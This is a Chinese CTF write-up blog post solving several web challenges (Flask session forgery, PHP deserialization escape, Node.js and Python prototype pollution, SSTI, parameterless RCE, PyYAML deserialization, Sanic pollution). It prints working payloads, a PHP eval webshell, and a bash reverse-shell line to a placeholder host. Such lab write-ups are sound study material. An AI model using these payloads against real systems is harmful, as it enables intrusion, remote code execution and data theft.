LOADING

加载过慢请开启缓存 浏览器默认开启

ZiAzusa#2024W2 这周做的一些题

2024/11/17 题解 CTF Weekly
字数统计: 5.8k字 阅读时长: 约28分 本文阅读量:

Web

BUUCTF: [CISCN2019 华东南赛区]Web4

打开这道题发现是一个传入url=xxx然后读出来。

Image description

直接尝试 file:///etc/passwd,发现file协议被ban了。

根据这个路径判断应该不是PHP,猜测为Flask。

查阅资料了解到Flask支持通过 local_file:// 协议读取本地文件。

尝试读源码:local_file:///app/app.py

# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
    session['username'] = 'www-data'
    return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('^file.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m or n:
            return 'No Hack'
        res = urllib.urlopen(url)
        return res.read()
    except Exception as ex:
        print str(ex)
    return 'no response'

@app.route('/flag')
def flag():
    if session and session['username'] == 'fuck':
        return open('/flag.txt').read()
    else:
        return 'Access denied'

if __name__=='__main__':
    app.run(
        debug=True,
        host="0.0.0.0"
    )

所以这道题只需要修改session就可以拿flag了。

其中计算session key的部分为:

random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)

随机种子是uuid.getnode(),所以需要去读MAC地址:local_file:///sys/class/net/eth0/address

得到地址为:de:86:ef:01:37:27

所以生成session key的代码为:

import random
random.seed(0xde86ef013727)
print(random.random()*233) # 29.8159171982

然后利用flask_session_cookie_manager3.py解密后修改内容,再加密即可。

python flask_session_cookie_manager3.py decode -c "eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.ZzFkjw.v9M5szkMQ9fyVYnfVwqvITKXjR0" -s "29.8159171982" 
# {'username': b'www-data'}
python flask_session_cookie_manager3.py encode -t "{'username': b'fuck'}" -s "29.8159171982"
# eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.ZzFqOg.4H98VWVN1IfVPUtisCThLRLrF9s

修改cookie值后访问/flag路由即可。

总结

通过本题积累到了Flask读取本地文件的协议,也积累到了篡改Flask Session的方式。

BUUCTF: [NewStarCTF 2023 公开赛道]逃

题目:

<?php
highlight_file(__FILE__);
function waf($str){
    return str_replace("bad","good",$str);
}

class GetFlag {
    public $key;
    public $cmd = "whoami";
    public function __construct($key)
    {
        $this->key = $key;
    }
    public function __destruct()
    {
        system($this->cmd);
    }
}

unserialize(waf(serialize(new GetFlag($_GET['key']))));

在本道题第一次接触到了知识库中提到的反序列化字符逃逸,即需要通过覆盖掉$cmd的方式实现任意命令执行:

len('";s:3:"cmd";s:9:"cat /flag";}') # 29

而每次替换bad为good会增加1字符,所以需要拼接29个bad,最后的payload为:

GET: key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}

总结

通过这道题第一次在题目中见到了反序列化字符逃逸。

BUUCTF: [NewStarCTF 2023 公开赛道]OtenkiGirl

下载附件发现给了个Hint:

『「routes」フォルダーだけを見てください。SQLインジェクションはありません。』と御坂御坂は期待に満ちた気持ちで言った。

意思是只看routes目录就行,而且这道题没有SQL注入。

不难猜测是Node.js原型链污染。

通过 【Web】nodejs原型链污染 | 狼组安全团队公开知识库NodeJs原型链污染 | Pazuris 初步了解了Node.js原型链污染,简而言之,在JavaScript中,每个对象都是有自己的原型的,如果能够修改这个原型的属性就会影响到所有来自于这个原型的对象,也就可以通过原型链污染来绕过一些对属性值的判断。

在本题中,危险函数位于routes/submit.js:

const merge = (dst, src) => {
    if (typeof dst !== "object" || typeof src !== "object") return dst;
    for (let key in src) {
        if (key in dst && key in src) {
            dst[key] = merge(dst[key], src[key]);
        } else {
            dst[key] = src[key];
        }
    }
    return dst;
}

而submit路由进行的操作是这样的:

router.post("/submit", async (ctx) => {
    if (ctx.header["content-type"] !== "application/json")
        return ctx.body = {
            status: "error",
            msg: "Content-Type must be application/json"
        }

    const jsonText = ctx.request.rawBody || "{}"
    try {
        const data = JSON.parse(jsonText);

        if (typeof data["contact"] !== "string" || typeof data["reason"] !== "string")
            return ctx.body = {
                status: "error",
                msg: "Invalid parameter"
            }
        if (data["contact"].length <= 0 || data["reason"].length <= 0)
            return ctx.body = {
                status: "error",
                msg: "Parameters contact and reason cannot be empty"
            }

        const DEFAULT = {
            date: "unknown",
            place: "unknown"
        }
        const result = await insert2db(merge(DEFAULT, data));
        ctx.body = {
            status: "success",
            data: result
        };
    } catch (e) {
        console.error(e);
        ctx.body = {
            status: "error",
            msg: "Internal Server Error"
        }
    }
})

其接受一个POST方法传入的JSON字符串,然后将JSON中的每个参数赋值到DEFAULT对象的属性。

而JavaScript的对象中均存在__proto__,这个属性指向这个对象的原型。

也就是可以通过传入这样的JSON来污染Object原型的属性,进而影响所有的Object:

{
    "__proto__" {
        "key": "value"
    }
}

接下来就要去找需要污染的属性了。

查看route/info.js可以找到查询数据的方法:

async function getInfo(timestamp) {
    timestamp = typeof timestamp === "number" ? timestamp : Date.now();
    // Remove test data from before the movie was released
    let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();
    timestamp = Math.max(timestamp, minTimestamp);
    const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });
    return data;
}

这个方法的作用是,获取CONFIG中定义的min_public_time值,如果没有,则去获取DEFAULT_CONFIG中定义的min_public_time值,并将其转换为时间戳,然后进数据库里找所有晚于这个时间的数据。

而CONFIG是在父目录的config.js定义的:

module.exports = {
    app_name: "OtenkiGirl",
    default_lang: "ja",
}

刚好这也是个对象,所以思路就有了,它既然有对于时间的判断,那么可能flag就藏在这个Default Config所配置的时间之前的数据里,也就是说需要把min_public_time改写成一个很早的时间。

最后的payload为:

{
    "__proto__" {
        "min_public_time": "1000-01-01"
    }
}

然后POST访问/info就找到flag了。

Image description

总结

在这道题中初步认识和实践了Node.js的原型链污染的原理和具体操作。

CTFSHOW: [_DSBCTF_单身杯]签到·好玩的PHP

题目:

<?php
    error_reporting(0);
    highlight_file(__FILE__);

    class ctfshow {
        private $d = '';
        private $s = '';
        private $b = '';
        private $ctf = '';

        public function __destruct() {
            $this->d = (string)$this->d;
            $this->s = (string)$this->s;
            $this->b = (string)$this->b;

            if (($this->d != $this->s) && ($this->d != $this->b) && ($this->s != $this->b)) {
                $dsb = $this->d.$this->s.$this->b;

                if ((strlen($dsb) <= 3) && (strlen($this->ctf) <= 3)) {
                    if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) {
                        if (md5($dsb) === md5($this->ctf)) {
                            echo file_get_contents("/flag.txt");
                        }
                    }
                }
            }
        }
    }

    unserialize($_GET["dsbctf"]);

绕过($dsb !== $this->ctf) && ($this->ctf !== $dsb)的方法是,由于$dsb是str,所以只需要传入的ctf为int即可。

例如:$d=1,$s=2,$b=3,$ctf=123,所以最后构造序列化字符串如下:

<?php
class ctfshow {
    private $d;
    private $s;
    private $b;
    private $ctf;
    function __construct($d, $s, $b, $ctf) {
        $this->d = $d;
        $this->s = $s;
        $this->b = $b;
        $this->ctf = $ctf;
    }
}

echo urlencode(serialize(new ctfshow(1, 2, 3, 123)));
# O%3A7%3A%22ctfshow%22%3A4%3A%7Bs%3A10%3A%22%00ctfshow%00d%22%3Bi%3A1%3Bs%3A10%3A%22%00ctfshow%00s%22%3Bi%3A2%3Bs%3A10%3A%22%00ctfshow%00b%22%3Bi%3A3%3Bs%3A12%3A%22%00ctfshow%00ct
?>

总结

签到题,复习到了php反序列化和强类型比较。

CTFSHOW: [_DSBCTF_单身杯]ezzz_ssti

根据题目可知需要进行SSTI,尝试在登录框输入49,发现存在SSTI漏洞。

Image description

然后就想到读一下元组的子类,提示太长了bro

也就是这里对长度有限制。

故尝试下最短的SSTI模板:

{{lipsum.__globals__.os.popen('ls').read()}}

发现还是太长了。

查阅资料了解到可以先把 lipsum.__globals__ 存入Flask的config里面。

所以依次提交以下SSTI即可得到flag:

{{config.update(a=lipsum.__globals__)}}
{{config.a.os.popen('nl /f*').read()}} # 为了避免超过长度限制,这里使用尽可能短的读取flag命令,即nl /f*

总结

通过这道题学习到了可以利用Flask的config绕过长度限制进行SSTI。

BUUCTF: [DASCTF 2023 & 0X401七月暑期挑战赛]EzFlask

题目:

import uuid

from flask import Flask, request, session
from secret import black_list
import json

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def check(data):
    for i in black_list:
        if i in data:
            return False
    return True

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class user():
    def __init__(self):
        self.username = ""
        self.password = ""
        pass
    def check(self, data):
        if self.username == data['username'] and self.password == data['password']:
            return True
        return False

Users = []

@app.route('/register',methods=['POST'])
def register():
    if request.data:
        try:
            if not check(request.data):
                return "Register Failed"
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Register Failed"
            User = user()
            merge(data, User)
            Users.append(User)
        except Exception:
            return "Register Failed"
        return "Register Success"
    else:
        return "Register Failed"

@app.route('/login',methods=['POST'])
def login():
    if request.data:
        try:
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Login Failed"
            for user in Users:
                if user.check(data):
                    session["username"] = data["username"]
                    return "Login Success"
        except Exception:
            return "Login Failed"
    return "Login Failed"

@app.route('/',methods=['GET'])
def index():
    return open(__file__, "r").read()

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5010)

看到merge就不难联想到原型链污染了,虽然Python没有原型链,但是原型链污染的本质还是对类的继承性质的利用,显然Python的类中也有如__init__这样的内置属性,也可以被merge访问和修改。

通过阅读 Python原型链污染变体(prototype-pollution-in-python) 大致了解了Python中的原型链污染后就很容易发现根路由输出的__file__是可以在/register通过对User类的merge来污染的。

读下/flag看看:

先尝试了以下payload,发现__init__被ban了:

{
    "username": 1,
    "password": 1,
    "__init__": {
        "__globals__": {
            "__file__" : "/flag"
        }
    }
}

稍加思考后,意识到User类的check方法也包含指向全局变量的__globals__,所以payload如下:

{
    "username": 1,
    "password": 1,
    "__class__": {
        "check": {
            "__globals__": {
                "__file__": "/flag"
            }
        }
    }
}

执行后发现没读到,再尝试去读/proc/1/environ,得到flag。

另一种解法

在尝试读/flag的时候发现本题的Flask框架开启了Debug模式,应当可以通过结合上文的任意文件读算PIN码进console路由RCE。

总结

通过这道题认识到了Python也存在类似Node.js原型链污染的操作。

BUUCTF: [GXYCTF2019]禁止套娃

读/.git发现报403,说明存在git泄露。

使用GitHack可以下载到一个index.php:

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

看到 ';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']就确定是无参RCE了。

但是这道题过滤了 et,所以 getallheaders() 就不能用了。

考虑利用 scandir(current(localeconv())); 读下当前目录,发现flag.php就在里面,而且是倒数第二个。

所以使用以下payload即可获得flag:

GET: exp=print_r(file(next(array_reverse(scandir(current(localeconv()))))));

总结

通过这道题复习了git泄露和无参RCE。

BUUCTF: [DASCTF X GFCTF 2022十月挑战赛!]BlogSystem

打开页面发现是一个登录窗口,再结合题目说明的Flask,不难猜测是要伪造session。

Image description

先随便注册个账号登录进去:

Image description

在一堆文章里自然要重点关注那两篇与FLask有关的,在《flask 基础总结》可以找到一个secret key:

Image description

根据描述不难猜测本题的Flask的secret key就是这个了。

然后利用flask_session_cookie_manager3.py解密后修改内容,再加密即可。

python flask_session_cookie_manager3.py decode -c "eyJfcGVybWFuZW50Ijp0cnVlLCJ1c2VybmFtZSI6IjExMSJ9.ZzR8nQ.FQAXmgAiIZt_iLUOXNUalNVYiCM" -s "7his_1s_my_fav0rite_ke7" 
# {'_permanent': True, 'username': '111'}
python flask_session_cookie_manager3.py encode -t "{'_permanent': True, 'username': 'admin'}" -s "7his_1s_my_fav0rite_ke7"
# eyJfcGVybWFuZW50Ijp0cnVlLCJ1c2VybmFtZSI6ImFkbWluIn0.ZzQ-xg.mzAqaaGr8i85s-QqNRrQSv35Tj8

修改Cookie后刷新页面,会发现多了个Download页面,点进去是一个任意文件读,尝试直接读/flag,报500,再尝试读/app/app.py,读出来了:

Image description

但是app.py里没有什么有用的,进而看看它import的东西,于是读了以下文件:

/app/model/__init__.py
/app/view/__init__.py
/app/view/index.py
/app/view/blog.py

关键代码位于/app/view/blog.py:

...
def waf(data):
    if re.search(r'apply|process|eval|os|tuple|popen|frozenset|bytes|type|staticmethod|\(|\)', str(data), re.M | re.I):
        return False
    else:
        return True
...
@blog.route('/imgUpload', methods=['POST'])
@login_limit
def imgUpload():
    try:
        file = request.files.get('editormd-image-file')
        fileName = file.filename.replace('..','')
        filePath = os.path.join("static/upload/", fileName)
        file.save(filePath)
        return {
            'success': 1,
            'message': '上传成功!',
            'url': "/" + filePath
        }
    except Exception as e:
        return {
            'success': 0,
            'message': '上传失败'
        }
...
@blog.route('/saying', methods=['GET'])
@admin_limit
def Saying():
    if request.args.get('path'):
        file = request.args.get('path').replace('../', 'hack').replace('..\\', 'hack')
        try:
            with open(file, 'rb') as f:
                f = f.read()
                if waf(f):
                    print(yaml.load(f, Loader=Loader))
                    return render_template('sayings.html', yaml='鲁迅说:当你看到这句话时,还没有拿到flag,那就赶紧重开环境吧')
                else:
                    return render_template('sayings.html', yaml='鲁迅说:你说得不对')
        except Exception as e:
            return render_template('sayings.html', yaml='鲁迅说:'+str(e))
    else:
        with open('view/jojo.yaml', 'r', encoding='utf-8') as f:
            sayings = yaml.load(f, Loader=Loader)
            saying = random.choice(sayings)
            return render_template('sayings.html', yaml=saying)

其中,/imgUpload是一个文件上传接口,且没有做后端验证,可以利用WriteBlog中的图片上传页面上传文件,只需要在前端进行绕过即可;而/saying是一个加载YAML配置文件的接口。

通过查找资料了解到了PyYaml反序列化:PyYaml反序列化漏洞详解

即可以通过上传一个YAML配置文件然后调用 print(yaml.load(f, Loader=Loader)) 进行RCE。

但是这道题针对YAML文件的内容进行了检查,考虑使用 !!python/module 绕过检查,再结合上传一个后门Python脚本达成RCE的目的。

所以上传的a.yml如下:

!!python/module:static.upload.a

最开始尝试直接用 os.popen("cat /flag").read(),发现这道题没有回显,进而考虑反弹shell,所以上传的a.py如下:

import os
os.popen("bash -c 'bash -i &> /dev/tcp/vps/port 0>&1'").read()

然后访问:

GET: /blog/saying?path=static/upload/a.yml

即可get shell:

Image description

总结

通过这道题复习了Flask的伪造Session,学习到了PyYaml反序列化的知识。

CTFShow: [CISCN 2024]simple_php

题目:

<?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);

if(isset($_POST['cmd'])){
    $cmd = escapeshellcmd($_POST['cmd']); 
     if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
         system($cmd);
}
}

show_source(__FILE__);
?>

发现这题几乎把常用的shell命令全ban了,仔细查看发现waf里面没有php。

查阅资料了解到,可以利用hex2bin()函数,然后传入转为十六进制的字符串即可绕过waf。

思路是创建一个新的一句话木马,RCE:

system("echo '<?php eval(\$_POST[1]);' > a.php");

但是发送以下payload时却出现了问题:

POST: cmd=php -r eval(hex2bin(73797374656d28226563686f20273c3f706870206576616c285c245f504f53545b315d293b27203e20612e70687022293b));

Image description

即php在开头是数字的情况下会把类型识别为数字,而后续出现了字符串就会报错。

继续查找了解到了可以用substr转换类型为数字,所以payload如下:

POST: cmd=php -r eval(hex2bin(substr(_73797374656d28226563686f20273c3f706870206576616c285c245f504f53545b315d293b27203e20612e70687022293b,1)));

访问/a.php,尝试直接列出根目录,发现没有flag:

Image description

进而考虑当前目录、环境变量,也都没有找到,但执行 ps -aux 的时候发现有一个MySQL数据库,而且是用root运行的。

经过测试发现是弱口令,密码为root。

用蚁剑连上/a.php,访问数据库即可找到flag:

Image description

题外

最开始尝试过直接反弹shell,但可能是CTFShow的题目环境问题弹不出来。

总结

通过这道题了解到了可以使用hex2bin()绕过RCE的过滤,也了解到了远程命令执行题目中的flag也可能位于数据库的情况。

CTFShow: [CISCN 2024]sanic

根据提示先看/src,得到了源码:

from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2


class Pollute:
    def __init__(self):
        pass


app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)


@app.route('/', methods=['GET', 'POST'])
async def index(request):
    return html(open('static/index.html').read())


@app.route("/login")
async def login(request):
    user = request.cookies.get("user")
    if user.lower() == 'adm;n':
        request.ctx.session['admin'] = True
        return text("login success")

    return text("login fail")


@app.route("/src")
async def src(request):
    return text(open(__file__).read())


@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
    if request.ctx.session.get('admin') == True:
        key = request.json['key']
        value = request.json['value']
        if key and value and type(key) is str and '_.' not in key:
            pollute = Pollute()
            pydash.set_(pollute, key, value)
            return text("success")
        else:
            return text("forbidden")

    return text("forbidden")


if __name__ == '__main__':
    app.run(host='0.0.0.0')

看到/admin路由的内容就确定是Python原型链污染了。

要访问/admin路由,首先要给/login路由传入一个Cookie:

user=adm;n

但众所周知,在Cookie中,; 代表着分隔两个参数,所以需要想办法绕过。

查阅资料了解到在 sanic框架 的/sanic/cookies/request.py中的_unquote()存在对八进制的解码:

...
def _unquote(str):  # no cov
    if str is None or len(str) < 2:
        return str
    if str[0] != '"' or str[-1] != '"':
        return str

    str = str[1:-1]

    i = 0
    n = len(str)
    res = []
    while 0 <= i < n:
        o_match = OCTAL_PATTERN.search(str, i) # 注意这里
        q_match = QUOTE_PATTERN.search(str, i)
        if not o_match and not q_match:
            res.append(str[i:])
            break
        # else:
        j = k = -1
        if o_match:
            j = o_match.start(0)
        if q_match:
            k = q_match.start(0)
        if q_match and (not o_match or k < j):
            res.append(str[i:k])
            res.append(str[k + 1])
            i = k + 2
        else:
            res.append(str[i:j])
            res.append(chr(int(str[j + 1 : j + 4], 8)))  # noqa: E203
            i = j + 4
    return "".join(res)
...

; 的OCT是 073,所以用以下Cookie即可绕过:

user="adm\073n"

接下来就可以尝试污染了,阅读代码发现其key值中不能出现 _.,可以利用下面这样类似转义的方式绕过:

__init__\\\\.__globals__

所以尝试直接污染__file__,payload为:

{
    "key": "__class__\\\\.__init__\\\\.__globals__\\\\.__file__",
    "value": "/etc/passwd"
}

成功读到/etc/passwd,但是在读/flag的时候就报错了,猜测可能是没有权限或者文件不存在。

继续尝试读/proc/1/environ,还真的读到flag了,交上去还是对的…

到这里CTFShow上的这道复现环境的题目就做完了(?)

预期解

以上解法不确定是不是CTFShow复现的环境下特有的非预期解,在阅读了 原题的WP 后,果然,这道题的预期解没有这么简单。

这道题考的实际上是更深入的对sanic框架中原型链的挖掘和利用。

首先flag是存在于根目录的,但是文件名不知道,所以考点是 需要我们利用污染的方式开启列目录功能,查看根目录下flag的名称,再进行读取

重新看回/app/app.py的设置静态目录的部分:

app = Sanic(__name__)
app.static("/static/", "./static/")

在sanic源码中查找def static可以在/sanic/mixins/static.py找到这个方法:

...
def static(
    self,
    ...
    directory_view: bool = False,
    directory_handler: Optional[DirectoryHandler] = None,
):
    """
    ...
    directory_view (bool, optional): Whether to fallback to showing
        the directory viewer when exposing a directory. Defaults
        to `False`.
    directory_handler (Optional[DirectoryHandler], optional): An
        instance of DirectoryHandler that can be used for explicitly
        controlling and subclassing the behavior of the default
        directory handler.
    ...
    """
...

重点关注以上部分即可,directory_viewdirectory_handler 这两个参数决定了列目录的功能和设置的目录。

其中,当 directory_view=True 时即可列出目录下的文件。

directory_handler 是实例化了 DirectoryHandler 类,继续跟进,会进入/sanic/handlers/directory.py:

...
class DirectoryHandler:
    """Serve files from a directory.

    Args:
        uri (str): The URI to serve the files at.
        directory (Path): The directory to serve files from.
        directory_view (bool): Whether to show a directory listing or not.
        index (Optional[Union[str, Sequence[str]]]): The index file(s) to
            serve if the directory is requested. Defaults to None.
    """

    def __init__(
        self,
        uri: str,
        directory: Path,
        directory_view: bool = False,
        index: Optional[Union[str, Sequence[str]]] = None,
    ) -> None:
        if isinstance(index, str):
            index = [index]
        elif index is None:
            index = []
        self.base = uri.strip("/")
        self.directory = directory
        self.directory_view = directory_view
        self.index = tuple(index)
...

在这个类中就可以找到directory_view和directory了,所以只需要我们将directory污染为根目录,directory_view污染为True,就可以看到根目录的所有文件了。

然而,directory是一个Path类,依然不能直接污染,继续跟进,可以找到:

@classmethod
def _parse_args(cls, args):
    # This is useful when you don't want to create an instance, just
    # canonicalize some constructor arguments.
    parts = []
    for a in args:
        if isinstance(a, PurePath):
            parts += a._parts
        elif isinstance(a, basestring):
            parts.append(a)
        else:
            raise TypeError(
                "argument should be a path or str object, not %r"
                % type(a))
    return cls._flavour.parse_parts(parts)

@classmethod
def _from_parts(cls, args, init=True):
    # We need to call _parse_args on the instance, so as to get the
    # right flavour.
    self = object.__new__(cls)
    drv, root, parts = self._parse_args(args)
    self._drv = drv
    self._root = root
    self._parts = parts
    if init:
        self._init()
    return self

发现parts最终被赋给了_parts属性,_parts属性决定了Path对象的值,而parts就是存储路径的列表,可以被污染。

所以现在需要被污染的属性就确定了,问题是如何访问这两个属性。

查找资料资料可以发现,sanic框架可以通过app.router.name_index[‘xxx’]来获取注册的路由,那么在本地开个sanic框架就能找到注册的/static/为:__mp_main__.static

继续全局搜索 name_index 可以找到最初给 name_index.__mp_main__.static 赋值的位置:

Image description

在这里打一个断点看看下面的属性:

Image description

就可以在里面找到 hendler.keywords.directory_handler,也就是实例化的 DirectoryHandler 类,下面就有我们需要的directory和directory_view属性了。

所以就可以得到开启列目录功能和污染/static/的payload:

#开启列目录功能
{
    "key": "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view",
    "value": "True"
}
#将目录设置在根目录下
{
    "key": "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts",
    "value": ["/"]
}

然后就可以访问/static/得到根目录下的文件列表:

Image description

然后再利用之前的污染__file__实现的任意文件读去读/24bcbd0192e591d6ded1_flag即可得到flag。

总结

通过这道题学习到了更深入的Python原型链污染的利用,学习到了利用 _\\\\. 的形式绕过 _.,学习到了通过本地调试的方式找到特定Python软件包的原型链污染路径。